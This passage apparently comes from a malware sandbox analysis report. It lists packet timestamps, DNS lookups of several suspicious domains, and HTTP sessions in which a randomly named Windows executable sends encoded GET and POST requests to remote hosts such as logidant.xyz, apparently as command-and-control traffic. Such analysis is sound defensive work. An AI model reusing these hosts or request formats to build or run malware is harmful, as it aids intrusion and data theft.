                                                                Nov 20, 2024 10:27:34.365207911 CET805747491.206.201.136192.168.2.9
                                                                Nov 20, 2024 10:27:34.365379095 CET5747480192.168.2.991.206.201.136
                                                                Nov 20, 2024 10:27:34.379802942 CET5747480192.168.2.991.206.201.136
                                                                Nov 20, 2024 10:27:34.384821892 CET805747491.206.201.136192.168.2.9
                                                                Nov 20, 2024 10:27:35.056454897 CET805747491.206.201.136192.168.2.9
                                                                Nov 20, 2024 10:27:35.056504965 CET805747491.206.201.136192.168.2.9
                                                                Nov 20, 2024 10:27:35.056585073 CET5747480192.168.2.991.206.201.136
                                                                Nov 20, 2024 10:27:35.885185003 CET5747480192.168.2.991.206.201.136
                                                                Nov 20, 2024 10:27:36.907871962 CET5747580192.168.2.991.206.201.136
                                                                Nov 20, 2024 10:27:36.914506912 CET805747591.206.201.136192.168.2.9
                                                                Nov 20, 2024 10:27:36.914685011 CET5747580192.168.2.991.206.201.136
                                                                Nov 20, 2024 10:27:36.929198027 CET5747580192.168.2.991.206.201.136
                                                                Nov 20, 2024 10:27:36.935720921 CET805747591.206.201.136192.168.2.9
                                                                Nov 20, 2024 10:27:37.596477985 CET805747591.206.201.136192.168.2.9
                                                                Nov 20, 2024 10:27:37.596538067 CET805747591.206.201.136192.168.2.9
                                                                Nov 20, 2024 10:27:37.596601963 CET5747580192.168.2.991.206.201.136
                                                                Nov 20, 2024 10:27:38.431881905 CET5747580192.168.2.991.206.201.136
                                                                Nov 20, 2024 10:27:39.455534935 CET5747680192.168.2.991.206.201.136
                                                                Nov 20, 2024 10:27:39.461276054 CET805747691.206.201.136192.168.2.9
                                                                Nov 20, 2024 10:27:39.461416006 CET5747680192.168.2.991.206.201.136
                                                                Nov 20, 2024 10:27:39.482424021 CET5747680192.168.2.991.206.201.136
                                                                Nov 20, 2024 10:27:39.487395048 CET805747691.206.201.136192.168.2.9
                                                                Nov 20, 2024 10:27:39.487463951 CET805747691.206.201.136192.168.2.9
                                                                Nov 20, 2024 10:27:40.159360886 CET805747691.206.201.136192.168.2.9
                                                                Nov 20, 2024 10:27:40.159847975 CET805747691.206.201.136192.168.2.9
                                                                Nov 20, 2024 10:27:40.159941912 CET5747680192.168.2.991.206.201.136
                                                                Nov 20, 2024 10:27:40.994388103 CET5747680192.168.2.991.206.201.136
                                                                Nov 20, 2024 10:27:42.014362097 CET5747780192.168.2.991.206.201.136
                                                                Nov 20, 2024 10:27:42.019309998 CET805747791.206.201.136192.168.2.9
                                                                Nov 20, 2024 10:27:42.019453049 CET5747780192.168.2.991.206.201.136
                                                                Nov 20, 2024 10:27:42.032579899 CET5747780192.168.2.991.206.201.136
                                                                Nov 20, 2024 10:27:42.037622929 CET805747791.206.201.136192.168.2.9
                                                                Nov 20, 2024 10:27:42.730119944 CET805747791.206.201.136192.168.2.9
                                                                Nov 20, 2024 10:27:42.730137110 CET805747791.206.201.136192.168.2.9
                                                                Nov 20, 2024 10:27:42.730611086 CET5747780192.168.2.991.206.201.136
                                                                Nov 20, 2024 10:27:42.737786055 CET5747780192.168.2.991.206.201.136
                                                                Nov 20, 2024 10:27:42.742640018 CET805747791.206.201.136192.168.2.9
                                                                Nov 20, 2024 10:27:47.824913025 CET5747880192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:47.831753016 CET8057478199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:47.831954002 CET5747880192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:47.855484009 CET5747880192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:47.862551928 CET8057478199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:48.290817976 CET8057478199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:48.290862083 CET8057478199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:48.290930986 CET8057478199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:48.290968895 CET5747880192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:48.291050911 CET5747880192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:49.369520903 CET5747880192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:50.509280920 CET5747980192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:50.514413118 CET8057479199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:50.514524937 CET5747980192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:50.622307062 CET5747980192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:50.627690077 CET8057479199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:50.970088005 CET8057479199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:50.970110893 CET8057479199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:50.970204115 CET5747980192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:50.971035004 CET8057479199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:50.971131086 CET5747980192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:52.135226965 CET5747980192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:53.213881016 CET5748080192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:53.515448093 CET8057480199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:53.515588045 CET5748080192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:53.580940962 CET5748080192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:53.586250067 CET8057480199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:53.586268902 CET8057480199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:53.992717981 CET8057480199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:53.992738008 CET8057480199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:53.992818117 CET5748080192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:53.992830038 CET8057480199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:53.992981911 CET5748080192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:55.088129997 CET5748080192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:56.106951952 CET5748180192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:56.113202095 CET8057481199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:56.113423109 CET5748180192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:56.122924089 CET5748180192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:56.129196882 CET8057481199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:56.596738100 CET8057481199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:56.596756935 CET8057481199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:56.596869946 CET5748180192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:56.596905947 CET8057481199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:27:56.596946955 CET5748180192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:56.599395990 CET5748180192.168.2.9199.59.243.227
                                                                Nov 20, 2024 10:27:56.604422092 CET8057481199.59.243.227192.168.2.9
                                                                Nov 20, 2024 10:28:01.631536961 CET5748280192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:01.636915922 CET8057482188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:28:01.637034893 CET5748280192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:01.652005911 CET5748280192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:01.657027960 CET8057482188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:28:03.166213036 CET5748280192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:03.173454046 CET8057482188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:28:03.173552036 CET5748280192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:04.185489893 CET5748380192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:04.199894905 CET8057483188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:28:04.199997902 CET5748380192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:04.220277071 CET5748380192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:04.228410959 CET8057483188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:28:05.728916883 CET5748380192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:05.734114885 CET8057483188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:28:05.734311104 CET5748380192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:06.747507095 CET5748480192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:06.754697084 CET8057484188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:28:06.754858971 CET5748480192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:06.774350882 CET5748480192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:06.779335976 CET8057484188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:28:06.779392004 CET8057484188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:28:08.166724920 CET8057484188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:28:08.167851925 CET8057484188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:28:08.167922974 CET5748480192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:08.275682926 CET5748480192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:09.451111078 CET5748580192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:09.456264973 CET8057485188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:28:09.456356049 CET5748580192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:09.478130102 CET5748580192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:09.483401060 CET8057485188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:28:11.075930119 CET8057485188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:28:11.076967001 CET8057485188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:28:11.077173948 CET5748580192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:11.079911947 CET5748580192.168.2.9188.114.96.3
                                                                Nov 20, 2024 10:28:11.084893942 CET8057485188.114.96.3192.168.2.9
                                                                Nov 20, 2024 10:28:16.113298893 CET5748680192.168.2.913.248.169.48
                                                                Nov 20, 2024 10:28:16.118266106 CET805748613.248.169.48192.168.2.9
                                                                Nov 20, 2024 10:28:16.118340969 CET5748680192.168.2.913.248.169.48
                                                                Nov 20, 2024 10:28:16.133296967 CET5748680192.168.2.913.248.169.48
                                                                Nov 20, 2024 10:28:16.138354063 CET805748613.248.169.48192.168.2.9
                                                                Nov 20, 2024 10:28:16.575201988 CET805748613.248.169.48192.168.2.9
                                                                Nov 20, 2024 10:28:16.575282097 CET5748680192.168.2.913.248.169.48
                                                                Nov 20, 2024 10:28:17.634964943 CET5748680192.168.2.913.248.169.48
                                                                Nov 20, 2024 10:28:17.947428942 CET5748680192.168.2.913.248.169.48
                                                                Nov 20, 2024 10:28:18.186326981 CET805748613.248.169.48192.168.2.9
                                                                Nov 20, 2024 10:28:18.186341047 CET805748613.248.169.48192.168.2.9
                                                                Nov 20, 2024 10:28:18.186414003 CET5748680192.168.2.913.248.169.48
                                                                Nov 20, 2024 10:28:18.655050993 CET5748780192.168.2.913.248.169.48
                                                                Nov 20, 2024 10:28:18.660137892 CET805748713.248.169.48192.168.2.9
                                                                Nov 20, 2024 10:28:18.660346985 CET5748780192.168.2.913.248.169.48
                                                                Nov 20, 2024 10:28:18.675045013 CET5748780192.168.2.913.248.169.48
                                                                Nov 20, 2024 10:28:18.682260036 CET805748713.248.169.48192.168.2.9
                                                                Nov 20, 2024 10:28:19.123950958 CET805748713.248.169.48192.168.2.9
                                                                Nov 20, 2024 10:28:19.124059916 CET5748780192.168.2.913.248.169.48
                                                                Nov 20, 2024 10:28:20.476104021 CET5748780192.168.2.913.248.169.48
                                                                Nov 20, 2024 10:28:20.481045008 CET805748713.248.169.48192.168.2.9
                                                                Nov 20, 2024 10:28:21.482183933 CET5748880192.168.2.913.248.169.48
                                                                Nov 20, 2024 10:28:21.487776995 CET805748813.248.169.48192.168.2.9
                                                                Nov 20, 2024 10:28:21.491151094 CET5748880192.168.2.913.248.169.48
                                                                Nov 20, 2024 10:28:21.506107092 CET5748880192.168.2.913.248.169.48
                                                                Nov 20, 2024 10:28:21.515345097 CET805748813.248.169.48192.168.2.9
                                                                Nov 20, 2024 10:28:21.515388012 CET805748813.248.169.48192.168.2.9
                                                                Nov 20, 2024 10:28:21.980294943 CET805748813.248.169.48192.168.2.9
                                                                Nov 20, 2024 10:28:21.980397940 CET5748880192.168.2.913.248.169.48
                                                                Nov 20, 2024 10:28:23.447496891 CET5748880192.168.2.913.248.169.48
                                                                Nov 20, 2024 10:28:23.453506947 CET805748813.248.169.48192.168.2.9

                                                                UDP Packets

                                                                TimestampSource PortDest PortSource IPDest IP
                                                                Nov 20, 2024 10:25:46.611035109 CET5359072162.159.36.2192.168.2.9
                                                                Nov 20, 2024 10:25:47.205343962 CET5019653192.168.2.91.1.1.1
                                                                Nov 20, 2024 10:25:47.222635984 CET53501961.1.1.1192.168.2.9
                                                                Nov 20, 2024 10:26:07.787062883 CET5220453192.168.2.91.1.1.1
                                                                Nov 20, 2024 10:26:07.808708906 CET53522041.1.1.1192.168.2.9
                                                                Nov 20, 2024 10:26:23.830625057 CET6106853192.168.2.91.1.1.1
                                                                Nov 20, 2024 10:26:23.871335983 CET53610681.1.1.1192.168.2.9
                                                                Nov 20, 2024 10:26:37.279175043 CET5593053192.168.2.91.1.1.1
                                                                Nov 20, 2024 10:26:37.625133038 CET53559301.1.1.1192.168.2.9
                                                                Nov 20, 2024 10:26:51.419831038 CET5644253192.168.2.91.1.1.1
                                                                Nov 20, 2024 10:26:51.561408997 CET53564421.1.1.1192.168.2.9
                                                                Nov 20, 2024 10:27:04.857378960 CET6066653192.168.2.91.1.1.1
                                                                Nov 20, 2024 10:27:05.869326115 CET6066653192.168.2.91.1.1.1
                                                                Nov 20, 2024 10:27:06.810235977 CET53606661.1.1.1192.168.2.9
                                                                Nov 20, 2024 10:27:06.810286999 CET53606661.1.1.1192.168.2.9
                                                                Nov 20, 2024 10:27:20.357089996 CET5330653192.168.2.91.1.1.1
                                                                Nov 20, 2024 10:27:20.405186892 CET53533061.1.1.1192.168.2.9
                                                                Nov 20, 2024 10:27:34.247783899 CET6213753192.168.2.91.1.1.1
                                                                Nov 20, 2024 10:27:34.357630968 CET53621371.1.1.1192.168.2.9
                                                                Nov 20, 2024 10:27:47.754827976 CET5088553192.168.2.91.1.1.1
                                                                Nov 20, 2024 10:27:47.820415020 CET53508851.1.1.1192.168.2.9
                                                                Nov 20, 2024 10:28:01.607280016 CET6524153192.168.2.91.1.1.1
                                                                Nov 20, 2024 10:28:01.629139900 CET53652411.1.1.1192.168.2.9
                                                                Nov 20, 2024 10:28:16.091779947 CET5726653192.168.2.91.1.1.1
                                                                Nov 20, 2024 10:28:16.110971928 CET53572661.1.1.1192.168.2.9

                                                                DNS Queries

                                                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                Nov 20, 2024 10:25:47.205343962 CET192.168.2.91.1.1.10x6438Standard query (0)241.42.69.40.in-addr.arpaPTR (Pointer record)IN (0x0001)false
                                                                Nov 20, 2024 10:26:07.787062883 CET192.168.2.91.1.1.10x95e5Standard query (0)www.1secondlending.oneA (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:26:23.830625057 CET192.168.2.91.1.1.10x64c7Standard query (0)www.logidant.xyzA (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:26:37.279175043 CET192.168.2.91.1.1.10x1093Standard query (0)www.wcq77.topA (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:26:51.419831038 CET192.168.2.91.1.1.10xe65aStandard query (0)www.mindfulmo.lifeA (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:27:04.857378960 CET192.168.2.91.1.1.10x5cbdStandard query (0)www.bienmaigrir.infoA (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:27:05.869326115 CET192.168.2.91.1.1.10x5cbdStandard query (0)www.bienmaigrir.infoA (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:27:20.357089996 CET192.168.2.91.1.1.10xc9c2Standard query (0)www.exitomagnetico.onlineA (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:27:34.247783899 CET192.168.2.91.1.1.10x2d7aStandard query (0)www.betmatchx.onlineA (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:27:47.754827976 CET192.168.2.91.1.1.10x52f2Standard query (0)www.bcg.servicesA (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:28:01.607280016 CET192.168.2.91.1.1.10xb482Standard query (0)www.mffnow.infoA (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:28:16.091779947 CET192.168.2.91.1.1.10x8adbStandard query (0)www.remedies.proA (IP address)IN (0x0001)false

                                                                DNS Answers

                                                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                Nov 20, 2024 10:25:10.230528116 CET1.1.1.1192.168.2.90x6f33No error (0)shed.dual-low.s-part-0017.t-0009.t-msedge.nets-part-0017.t-0009.t-msedge.netCNAME (Canonical name)IN (0x0001)false
                                                                Nov 20, 2024 10:25:10.230528116 CET1.1.1.1192.168.2.90x6f33No error (0)s-part-0017.t-0009.t-msedge.net13.107.246.45A (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:25:47.222635984 CET1.1.1.1192.168.2.90x6438Name error (3)241.42.69.40.in-addr.arpanonenonePTR (Pointer record)IN (0x0001)false
                                                                Nov 20, 2024 10:26:07.808708906 CET1.1.1.1192.168.2.90x95e5No error (0)www.1secondlending.one43.205.198.29A (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:26:23.871335983 CET1.1.1.1192.168.2.90x64c7No error (0)www.logidant.xyzlogidant.xyzCNAME (Canonical name)IN (0x0001)false
                                                                Nov 20, 2024 10:26:23.871335983 CET1.1.1.1192.168.2.90x64c7No error (0)logidant.xyz45.141.156.114A (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:26:37.625133038 CET1.1.1.1192.168.2.90x1093No error (0)www.wcq77.topwcq77.topCNAME (Canonical name)IN (0x0001)false
                                                                Nov 20, 2024 10:26:37.625133038 CET1.1.1.1192.168.2.90x1093No error (0)wcq77.top154.23.184.194A (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:26:51.561408997 CET1.1.1.1192.168.2.90xe65aNo error (0)www.mindfulmo.life209.74.77.108A (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:27:06.810235977 CET1.1.1.1192.168.2.90x5cbdNo error (0)www.bienmaigrir.info35.220.176.144A (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:27:06.810286999 CET1.1.1.1192.168.2.90x5cbdNo error (0)www.bienmaigrir.info35.220.176.144A (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:27:20.405186892 CET1.1.1.1192.168.2.90xc9c2No error (0)www.exitomagnetico.online188.114.96.3A (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:27:20.405186892 CET1.1.1.1192.168.2.90xc9c2No error (0)www.exitomagnetico.online188.114.97.3A (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:27:34.357630968 CET1.1.1.1192.168.2.90x2d7aNo error (0)www.betmatchx.online91.206.201.136A (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:27:47.820415020 CET1.1.1.1192.168.2.90x52f2No error (0)www.bcg.services199.59.243.227A (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:28:01.629139900 CET1.1.1.1192.168.2.90xb482No error (0)www.mffnow.info188.114.96.3A (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:28:01.629139900 CET1.1.1.1192.168.2.90xb482No error (0)www.mffnow.info188.114.97.3A (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:28:16.110971928 CET1.1.1.1192.168.2.90x8adbNo error (0)www.remedies.pro13.248.169.48A (IP address)IN (0x0001)false
                                                                Nov 20, 2024 10:28:16.110971928 CET1.1.1.1192.168.2.90x8adbNo error (0)www.remedies.pro76.223.54.146A (IP address)IN (0x0001)false

                                                                HTTP Request Dependency Graph

                                                                • www.1secondlending.one
                                                                • www.logidant.xyz
                                                                • www.wcq77.top
                                                                • www.mindfulmo.life
                                                                • www.bienmaigrir.info
                                                                • www.exitomagnetico.online
                                                                • www.betmatchx.online
                                                                • www.bcg.services
                                                                • www.mffnow.info
                                                                • www.remedies.pro

                                                                HTTP Packets

                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                0192.168.2.95745343.205.198.29803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:26:07.830321074 CET455OUTGET /alo6/?X88x4=H6Ch8lj0uBw&JNL8=s1RhBgSSc/k3T0jY69p04wHuVqsYenMc25RslsirlG2uVcm1vZZrQ7zhNnD/cyUNeUvgDkKIi8l9eWRRC/1CkJf42Qz4bngY1UZzOftSXnKuevI0uw== HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Language: en-US,en;q=0.5
                                                                Connection: close
                                                                Host: www.1secondlending.one
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Nov 20, 2024 10:26:08.757739067 CET289INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Wed, 20 Nov 2024 09:26:08 GMT
                                                                Content-Type: text/html
                                                                Content-Length: 146
                                                                Connection: close
                                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                1192.168.2.95745445.141.156.114803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:26:23.900422096 CET707OUTPOST /ctvu/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 193
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.logidant.xyz
                                                                Origin: http://www.logidant.xyz
                                                                Referer: http://www.logidant.xyz/ctvu/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 36 32 53 54 37 57 34 47 55 64 56 76 7a 44 56 46 78 71 42 4d 64 47 41 6c 70 67 70 76 63 51 52 38 78 68 67 6a 62 57 74 37 38 56 70 44 36 68 52 42 65 41 32 47 61 39 6c 64 71 75 6b 62 79 47 5a 4b 51 64 6b 6e 6f 7a 78 54 49 32 36 65 69 43 41 39 68 64 46 77 58 4a 35 52 73 66 4d 45 74 33 77 38 75 6f 74 48 34 44 49 44 62 6d 52 59 44 48 48 70 77 5a 41 44 51 66 52 42 57 57 62 4a 41 33 4c 33 49 66 36 4e 6f 62 51 72 47 41 4f 45 6a 73 43 33 4a 32 72 30 53 4a 6c 74 43 4f 76 56 67 41 54 39 46 4d 63 4e 56 34 62 76 30 56 52 6c 2f 71 56 4b 48 74 58 44 42 70 31 6d 2b 2b 66 58
                                                                Data Ascii: JNL8=62ST7W4GUdVvzDVFxqBMdGAlpgpvcQR8xhgjbWt78VpD6hRBeA2Ga9ldqukbyGZKQdknozxTI26eiCA9hdFwXJ5RsfMEt3w8uotH4DIDbmRYDHHpwZADQfRBWWbJA3L3If6NobQrGAOEjsC3J2r0SJltCOvVgAT9FMcNV4bv0VRl/qVKHtXDBp1m++fX
                                                                Nov 20, 2024 10:26:24.568779945 CET289INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Wed, 20 Nov 2024 09:26:24 GMT
                                                                Content-Type: text/html
                                                                Content-Length: 146
                                                                Connection: close
                                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                2192.168.2.95745545.141.156.114803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:26:26.462630033 CET731OUTPOST /ctvu/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 217
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.logidant.xyz
                                                                Origin: http://www.logidant.xyz
                                                                Referer: http://www.logidant.xyz/ctvu/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 36 32 53 54 37 57 34 47 55 64 56 76 79 69 6c 46 7a 4c 42 4d 4d 32 41 69 71 67 70 76 54 77 52 77 78 68 63 6a 62 53 31 72 38 44 35 44 36 44 5a 42 64 46 43 47 62 39 6c 64 79 2b 6b 61 38 6d 5a 52 51 64 6f 76 6f 79 4e 54 49 32 75 65 69 43 77 39 68 50 74 7a 57 5a 35 54 6c 2f 4d 43 70 33 77 38 75 6f 74 48 34 44 63 70 62 6d 4a 59 43 33 33 70 69 4c 6f 41 54 66 52 43 58 57 62 4a 52 6e 4b 2b 49 66 36 6a 6f 66 52 32 47 47 4b 45 6a 74 79 33 49 6e 72 33 59 4a 6b 6d 66 65 75 65 70 53 2b 78 43 4d 77 34 63 70 37 46 72 7a 52 36 34 4c 70 55 57 66 65 59 55 2b 31 42 35 5a 57 2f 74 32 2b 69 4d 56 6f 44 59 67 69 46 73 6e 52 54 6e 37 30 6c 7a 77 3d 3d
                                                                Data Ascii: JNL8=62ST7W4GUdVvyilFzLBMM2AiqgpvTwRwxhcjbS1r8D5D6DZBdFCGb9ldy+ka8mZRQdovoyNTI2ueiCw9hPtzWZ5Tl/MCp3w8uotH4DcpbmJYC33piLoATfRCXWbJRnK+If6jofR2GGKEjty3Inr3YJkmfeuepS+xCMw4cp7FrzR64LpUWfeYU+1B5ZW/t2+iMVoDYgiFsnRTn70lzw==
                                                                Nov 20, 2024 10:26:27.122294903 CET289INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Wed, 20 Nov 2024 09:26:27 GMT
                                                                Content-Type: text/html
                                                                Content-Length: 146
                                                                Connection: close
